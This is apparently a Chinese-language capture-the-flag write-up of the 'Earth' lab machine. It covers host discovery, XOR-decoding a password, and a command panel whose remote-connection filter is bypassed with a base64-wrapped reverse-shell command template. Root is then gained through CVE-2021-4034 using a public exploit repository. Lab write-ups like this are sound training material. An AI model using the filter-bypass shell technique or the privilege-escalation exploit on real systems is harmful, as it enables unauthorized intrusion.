1.信息收集
命令:netdiscover -r 192.168.228.0/24
端口扫描
访问80,443端口,咋全是400,怪哉。
是我对400有什么误解吗,百度一下
啊这,是不是得给这靶机做个ip对应域名的映射呢 ,再拿nmap做个全扫描看看
成了,改hosts文件做个dns解析就可以了
访问earth.local,发现有个消息框,发送完以后页面以某种加密方式回显到页面
搞不懂啥子加密,拿chatgpt帮我康康---异或加密???
也不知道chatgpt说的对不对,但就算对我也没get到shell啊。做个目录爆破,发现有个登录框,弱口令爆破无果。
纠结了半天,突然想起来还有个子域名terratest.earth.local没用到,443端口也闲着,全都拿来再扫一遍,又扫出个robots.txt
点开康康,发现禁止扫一个叫做testingnotes的文件名,不给我扫我偏要扫
原来前面的消息框还真是异或加密,chatgpt真是强大啊。除此之外又知道了一个testdata.txt的文件和前面登录框的用户名terra,既然testdata.txt是用来测试加密的肯定是密文了,再和前面earth.local里那三条已有数据里的一条异或解码,得到的结果说不定就是登陆界面的密码。这里得写个脚本爆破一下,于是再次把这个隆重的任务交给chatgpt,这里懒得贴脚本了。反正最后得到的结果解密就是earthclimatechangebad4humans字符串的无限循环
二. 渗透测试
成功登录,发现可以执行系统命令,想直接弹个shell或者下载个弹shell的脚本却做不到,显示"Remote connections are forbidden."
感觉靶机不可能真的禁止远程连接,毕竟后期还得提权。这个时候就得重温一下反弹shell绕过的N种姿势,这里试试最常见的base64绕过,一弹就准。(具体命令格式为bash -c '{echo,此处填base64加密过的反弹命令}|{base64,-d}|{bash,-i}')
三.后渗透提权
执行python -c 'import pty; pty.spawn("/bin/bash")'获取交互式shell,再检查一下wget命令能不能用,能用就下个提权辅助脚本放到tmp目录下,跑跑康康有什么提权漏洞可以利用
跑了一下,发现该靶机貌似有CVE-2021-4034漏洞,去github下个自动化利用脚本,直接root权限
https://github.com/berdav/CVE-2021-4034.git
打靶结束,只能说中间异或解密那块有misc的味道了